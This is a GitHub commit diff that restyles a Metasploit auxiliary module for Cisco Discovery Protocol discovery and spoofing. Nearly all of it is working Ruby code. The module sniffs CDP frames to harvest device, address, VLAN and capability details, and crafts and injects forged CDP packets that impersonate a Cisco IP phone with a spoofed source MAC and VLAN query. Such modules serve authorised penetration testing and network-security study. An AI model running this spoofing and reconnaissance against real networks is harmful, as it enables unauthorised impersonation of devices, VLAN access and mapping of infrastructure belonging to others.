Skip to content

Commit 39d6910

Browse files
committed
First round of basic Ruby style cleanup in cdp
1 parent 7e93d89 commit 39d6910

File tree

1 file changed

+171
-162
lines changed
  • modules/auxiliary/spoof/cisco

1 file changed

+171
-162
lines changed

modules/auxiliary/spoof/cisco/cdp.rb

Lines changed: 171 additions & 162 deletions
Original file line numberDiff line numberDiff line change
@@ -1,219 +1,228 @@
11
##
2-
# This module requires Metasploit: http//metasploit.com/download
2+
# This module requires Metasploit: http://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

66
require 'msf/core'
77

8-
98
class Metasploit3 < Msf::Auxiliary
10-
119
include Msf::Auxiliary::Report
1210
include Msf::Exploit::Capture
1311

1412
def initialize
1513
super(
16-
'Name' => 'CDP Discovery and Spoofing',
17-
'Description' => 'This module captures and sends Cisco Discovery Protocol packets for discovery',
18-
'Author' => 'fozavci',
19-
'License' => MSF_LICENSE,
20-
'Actions' =>
21-
[
22-
[ 'Sniffer' ],
23-
[ 'Spoof' ]
24-
],
25-
'PassiveActions' =>
26-
[
27-
'Sniffer'
28-
],
29-
'DefaultAction' => 'Sniffer'
14+
'Name' => 'CDP Discovery and Spoofing',
15+
'Description' => 'This module captures and sends Cisco Discovery Protocol (CDP) packets for discovery',
16+
'Author' => 'Fatih Ozavci <viproy.com/fozavci>',
17+
'License' => MSF_LICENSE,
18+
'Actions' => [
19+
['Sniff', { 'Description' => 'Sniffs CDP packets' }],
20+
['Spoof', { 'Description' => 'Sends spoofed CDP packets' }]
21+
],
22+
'PassiveActions' => %w(Sniff),
23+
'DefaultAction' => 'Sniff'
3024
)
3125
register_options(
32-
[
33-
OptString.new('SMAC', [ false, "MAC Address for MAC Spoofing"]),
34-
OptString.new('VTPDOMAIN', [ false, "VTP Domain"]),
35-
OptString.new('DEVICE ID', [ false, "Device ID (e.g. SIP00070EEA3156,SEP00070EEA3156)", "SEP00070EEA3156"]),
36-
OptString.new('PORT', [ false, "The Switch Port", "1"]),
37-
OptString.new('CAPABILITIES', [ false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
38-
OptString.new('PLATFORM', [ false, "Platform of the device", "Cisco IP Phone 7975"]),
39-
OptString.new('SOFTWARE', [ false, "Software of the device", "SCCP75.9-3-1SR2-1S"]),
40-
OptBool.new('DUPLEX', [false, 'Duplex', true]),
41-
], self.class)
26+
[
27+
OptString.new('SMAC', [false, "MAC Address for MAC Spoofing"]),
28+
OptString.new('VTPDOMAIN', [false, "VTP Domain"]),
29+
OptString.new('DEVICE_ID', [true, "Device ID (e.g. SIP00070EEA3156)", "SEP00070EEA3156"]),
30+
OptString.new('PORT', [true, "The CDP 'sent through interface' value", "Port 1"]),
31+
# XXX: this is not currently implemented
32+
# OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
33+
OptString.new('PLATFORM', [true, "Platform of the device", "Cisco IP Phone 7975"]),
34+
OptString.new('SOFTWARE', [true, "Software of the device", "SCCP75.9-3-1SR2-1S"]),
35+
OptBool.new('FULL_DUPLEX', [true, 'True iff full-duplex, false otherwise', true])
36+
], self.class)
4237
deregister_options('RHOST')
4338
end
4439

45-
def run
46-
check_pcaprub_loaded # Check first
47-
lbl=["CDP Version\t","Device Id\t","IP Address\t", "Switch Port\t", "Capabilities" , "Software\t","Platform\t", nil,"Cluster Management", "VTP Domain Management" ,"Native VLAN\t",nil, nil, nil, nil, "VoIP VLAN Query"]
48-
print_status("Sniffing traffic.....")
49-
40+
def setup
41+
check_pcaprub_loaded
42+
unless smac
43+
fail ArgumentError, "Unable to get SMAC from #{interface} -- Set INTERFACE or SMAC"
44+
end
5045
open_pcap
46+
close_pcap
47+
end
5148

52-
if(action.name == 'Spoof')
53-
send_spoof
49+
def interface
50+
@interface ||= datastore['INTERFACE'] || Pcap.lookupdev
51+
end
52+
53+
def smac
54+
@smac ||= datastore['SMAC'] || get_mac(interface)
55+
end
56+
57+
def run
58+
begin
59+
open_pcap
60+
61+
case action.name
62+
when 'Spoof'
63+
do_spoof
64+
when 'Sniff'
65+
do_sniff
66+
else
67+
# this should never happen
68+
fail ArgumentError, "Invalid action #{action.name}"
69+
end
70+
ensure
71+
close_pcap
5472
end
73+
end
5574

75+
def do_sniff
76+
print_status("Sniffing traffic on #{interface}")
77+
lbl = ["CDP Version\t", "Device Id\t", "IP Address\t", "Switch Port\t", "Capabilities", "Software\t", "Platform\t", nil, "Cluster Management", "VTP Domain Management" , "Native VLAN\t", nil, nil, nil, nil, "VoIP VLAN Query"]
5678
each_packet do |pkt|
5779
p = PacketFu::Packet.parse(pkt)
58-
if p.proto != ["Eth", "LLDP"] and p.payload =~ /\x01\x00\f\xCC\xCC\xCC/
59-
pay=p.payload
60-
pos=30
61-
cdp=pay[22].getbyte(0)
62-
report = "CDP Version\t\t: #{cdp}\n"
63-
if cdp == 2
64-
while 1
65-
type = pay[pos-4,2].getbyte(1)
66-
break if pay[pos-2,2].nil?
67-
l=pay[pos-2,2].unpack('H*')[0].to_i(16)
80+
next unless p.proto != ["Eth", "LLDP"] && p.payload =~ /\x01\x00\x0C\xCC\xCC\xCC/
81+
pay = p.payload
82+
pos = 30
83+
cdp = pay[22].getbyte(0)
84+
report = "CDP Version\t\t: #{cdp}\n"
85+
if cdp == 2
86+
while true
87+
type = pay[pos - 4, 2].getbyte(1)
88+
break if pay[pos - 2, 2].nil?
89+
l = pay[pos - 2, 2].unpack('H*')[0].to_i(16)
6890
case type
69-
when 1
70-
d=pay[pos,l]
71-
d.chop! if d[-1] == "\n"
72-
report << " #{lbl[type]} \t: #{d}\n"
73-
when 2
74-
if pay[pos,4].unpack('H*')[0].to_i(16) == 1
75-
addr=pay[pos+9,4]
76-
ip=[]
77-
4.times {|i| ip << "#{addr.getbyte(i)}"}
78-
report << " #{lbl[type]}\t: #{ip.join(".")}\n"
91+
when 1
92+
d = pay[pos, l]
93+
d.chop! if d[-1] == "\n"
94+
report << " #{lbl[type]} \t: #{d}\n"
95+
when 2
96+
if pay[pos, 4].unpack('H*')[0].to_i(16) == 1
97+
addr = pay[pos + 9, 4]
98+
ip = []
99+
4.times { |i| ip << "#{addr.getbyte(i)}" }
100+
report << " #{lbl[type]}\t: #{ip.join(".")}\n"
101+
end
102+
when 3
103+
report << " #{lbl[type]}\t: #{pay[pos,l]}\n"
104+
when 4
105+
c = pay[pos + 3, 1].getbyte(0)
106+
c = c.to_s(2)
107+
caps = ["Repeater\t\t", "IGMP Capable\t\t", "Host\t\t\t", "Switch\t\t", "Source Route Bridge\t", "Transparent Bridge\t", "Router\t\t"]
108+
report << " #{lbl[type]}\t: \n"
109+
c.length.times do
110+
if c[-1].to_i == 1
111+
report << "\t\t\t #{caps[-1]} : Yes\n"
112+
else
113+
report << "\t\t\t #{caps[-1]} : No\n"
79114
end
80-
when 3
81-
report << " #{lbl[type]}\t: #{pay[pos,l]}\n"
82-
when 4
83-
c=pay[pos+3,1].getbyte(0)
84-
c=c.to_s(2)
85-
cap={}
86-
caps=["Repeater\t\t","IGMP Capable\t\t","Host\t\t\t","Switch\t\t","Source Route Bridge\t","Transparent Bridge\t","Router\t\t"]
87-
report << " #{lbl[type]}\t: \n"
88-
c.length.times {|i|
89-
if c[-1].to_i == 1
90-
report << "\t\t\t #{caps[-1]} : Yes\n"
91-
else
92-
report << "\t\t\t #{caps[-1]} : No\n"
93-
end
94-
c.chop!
95-
caps.delete_at(-1)
96-
}
97-
caps.each {report << "\t\t\t #{caps[-1]} : No\n"} if caps.length > 0
98-
when 5
99-
report << " #{lbl[type]}\t: #{pay[pos,l].split("\n").join("\n\t\t\t ")}\n"
100-
when 8
101-
#report << " #{lbl[type]}\t:\n"
102-
#report << " IP: #{pay[pos+14,4]}\n"
103-
when 10
104-
report << " #{lbl[type]}\t: #{pay[pos,2].unpack('H*')[0].to_i(16)}\n"
105-
when 15
106-
report << " #{lbl[type]}\t: #{pay[pos+1,2].unpack('H*')[0].to_i(16)}\n"
107-
else
108-
report << " #{lbl[type]}\t: #{pay[pos,l]}\n" if lbl[type] != nil
115+
c.chop!
116+
caps.delete_at(-1)
117+
end
118+
unless caps.empty?
119+
caps.each do |missing_cap|
120+
report << "\t\t\t #{missing_cap}: No\n"
121+
end
122+
end
123+
when 5
124+
report << " #{lbl[type]}\t: #{pay[pos, l].split("\n").join("\n\t\t\t ")}\n"
125+
when 8
126+
# TODO?
127+
# report << " #{lbl[type]}\t:\n"
128+
# report << " IP: #{pay[pos+14,4]}\n"
129+
when 10
130+
report << " #{lbl[type]}\t: #{pay[pos, 2].unpack('H*')[0].to_i(16)}\n"
131+
when 15
132+
report << " #{lbl[type]}\t: #{pay[pos + 1, 2].unpack('H*')[0].to_i(16)}\n"
133+
else
134+
report << " #{lbl[type]}\t: #{pay[pos, l]}\n" if lbl[type]
109135
end
110136
if pos > pay.length
111137
break
112138
else
113-
pos = pos+l
139+
pos += l
114140
end
115-
end
116-
else
117-
report << " TTL\t\t\t: #{pay[23].unpack('H*')[0].to_i(16)}"
118141
end
119-
print_good("#{report}")
142+
else
143+
report << " TTL\t\t\t: #{pay[23].unpack('H*')[0].to_i(16)}"
120144
end
145+
print_good("#{report}")
121146
end
122-
close_pcap
123147
print_status("Finished sniffing")
124148
end
125-
def send_spoof()
126-
p=prep_cdp #Preparation of the CDP content
127-
dst_mac="\x01\x00\f\xCC\xCC\xCC" #CDP multicast
128-
129-
#Source Mac Address Preparation
130-
@interface = datastore['INTERFACE'] || Pcap.lookupdev
131-
smac = datastore['SMAC'] || get_mac(@interface)
132-
raise RuntimeError ,'SMAC should be defined' unless smac
133-
src_mac=mac_to_bytes(smac)
134-
135-
#Injecting packet to the network
136-
l=PacketFu::Inject.new(:iface=>@interface)
137-
cdplength=["%04X" % (p.length+8).to_s].pack('H*')
138-
l.array_to_wire(:array=>["#{dst_mac}#{src_mac}#{cdplength}"+llc+p])
139-
end
140-
def llc
141-
llc="\xAA\xAA\x03\x00\x00\f \x00"
142-
return llc
149+
150+
def do_spoof
151+
print_status("Sending CDP message on #{interface}")
152+
p = prep_cdp # Preparation of the CDP content
153+
dst_mac = "\x01\x00\x0C\xCC\xCC\xCC" # CDP multicast
154+
155+
# Source Mac Address Preparation
156+
src_mac = mac_to_bytes(smac)
157+
158+
# Injecting packet to the network
159+
l = PacketFu::Inject.new(iface: interface)
160+
cdp_length = ["%04X" % (p.length + 8).to_s].pack('H*')
161+
dot3 = dst_mac + src_mac + cdp_length
162+
llc = "\xAA\xAA\x03\x00\x00\x0c\x20\x00"
163+
l.array_to_wire(array: [dot3 + llc + p])
143164
end
144-
def mac_to_bytes(smac)
145-
return [smac.gsub(":","")].pack('H*')
165+
166+
def mac_to_bytes(mac)
167+
[mac.gsub(':', '')].pack('H*')
146168
end
147-
def prep_cdp
148-
#options from the user
149-
device=datastore['DEVICE ID'] || "SEP00070EEA3156"
150-
port=datastore['PORT'] || "1"
151-
capabilities=datastore['CAPABILITIES'] || "Host"
152-
platform=datastore['PLATFORM'] || "Cisco IP Phone 7975"
153-
software=datastore['SOFTWARE'] || "SCCP75.9-3-1SR2-1S"
154-
vtpdomain=datastore['VTPDOMAIN'] if datastore['VTPDOMAIN']
155-
if datastore['DUPLEX']
156-
dup=1
157-
else
158-
dup=0
159-
end
160169

161-
#CAPABILITIES
162-
#define CDP_CAP_LEVEL1 0x40
163-
#define CDP_CAP_FORWARD_IGMP 0x20
164-
#define CDP_CAP_NETWORK_LAYER 0x10
165-
#define CDP_CAP_LEVEL2_SWITCH 0x08
166-
#define CDP_CAP_LEVEL2_SRB 0x04
167-
#define CDP_CAP_LEVEL2_TRBR 0x02
168-
#define CDP_CAP_LEVEL3_ROUTER 0x01
169-
170-
#Package Preperation
171-
p = "\x00\x01#{l(device)}#{device}" # Device ID
172-
p << "\x00\x03#{l("Port #{port}")}Port #{port}" # Port ID
173-
p << "\x00\x04\x00\b\x00\x00\x00A" # Capabilities
174-
p << "\x00\x05#{l(software)}#{software}" # Software Version
175-
p << "\x00\x06#{l(platform)}#{platform}" # Platform
176-
p << "\x00\x09#{l(vtpdomain)}#{vtpdomain}" if vtpdomain # VTP Domain Management
177-
p << "\x00\x10\x00\x06\x18\x9C" # Power Consumption 6300 mW
178-
p << "\x00\v\x00\x05#{dup}" # Duplex
179-
p << "\x00\x0F\x00\b \x02\x00\x01" # VLAN Query
180-
181-
#Header Preperation
182-
version = "\x02" # CDP version
183-
ttl = "\xB4" # TTL (180 seconds)
184-
checksum = cdpchecksum(version+ttl+"\x00\x00"+p) # CDP Checksum
185-
186-
p=version+ttl+checksum+p # CDP Payload
187-
188-
return p
170+
def prep_cdp
171+
# device ID
172+
p = tlv(1, datastore['DEVICE_ID'])
173+
# port ID
174+
p << tlv(3, datastore['PORT'])
175+
# TODO: implement this correctly
176+
# capabilities = datastore['CAPABILITIES'] || "Host"
177+
# CAPABILITIES
178+
# define CDP_CAP_LEVEL1 0x40
179+
# define CDP_CAP_FORWARD_IGMP 0x20
180+
# define CDP_CAP_NETWORK_LAYER 0x10
181+
# define CDP_CAP_LEVEL2_SWITCH 0x08
182+
# define CDP_CAP_LEVEL2_SRB 0x04
183+
# define CDP_CAP_LEVEL2_TRBR 0x02
184+
# define CDP_CAP_LEVEL3_ROUTER 0x01
185+
p << tlv(4, "\x00\x00\x00\x41")
186+
# software version
187+
p << tlv(5, datastore['SOFTWARE'])
188+
# platform
189+
p << tlv(6, datastore['PLATFORM'])
190+
# VTP management domain
191+
p << tlv(9, datastore['VTPDOMAIN']) if datastore['VTPDOMAIN']
192+
# random 1000-7000 power consumption in mW
193+
p << tlv(0x10, [1000 + rand(6000)].pack('n'))
194+
# duplex
195+
p << tlv(0x0b, datastore['FULL_DUPLEX'] ? "\x01" : "\x00")
196+
# VLAn query. TOD: figure out this field, use tlv, make configurable
197+
p << "\x00\x0F\x00\b \x02\x00\x01"
198+
199+
# VDP version
200+
version = "\x02"
201+
# TTL (180s)
202+
ttl = "\xB4"
203+
checksum = cdpchecksum(version + ttl + "\x00\x00" + p)
204+
version + ttl + checksum + p
189205
end
190206

191-
def l(s,n=2)
192-
l=s.length+4
193-
l="%0#{n*2}X" % l
194-
b=[l].pack('H*')
195-
return b
207+
def tlv(t, v)
208+
[ t, v.length + 4 ].pack("nn") + v
196209
end
197210

198211
def cdpchecksum(p)
199212
num_shorts = p.length / 2
200213
cs = 0
201214
c = p.length
202215

203-
p.unpack("S#{num_shorts}").each { |x|
216+
p.unpack("S#{num_shorts}").each do |x|
204217
cs += x
205218
c -= 2
206-
}
207-
208-
if (c == 1)
209-
cs += p[p.length - 1].getbyte(0) << 8
210219
end
211220

221+
cs += p[p.length - 1].getbyte(0) << 8 if c == 1
212222
cs = (cs >> 16) + (cs & 0xffff)
213223
cs = ~((cs >> 16) + cs) & 0xffff
214224
cs = ([cs].pack("S*")).unpack("n*")[0]
215225

216-
cs = [ "%02X" % cs ].pack('H*')
217-
return cs
226+
[ "%02X" % cs ].pack('H*')
218227
end
219228
end

0 commit comments

Comments
 (0)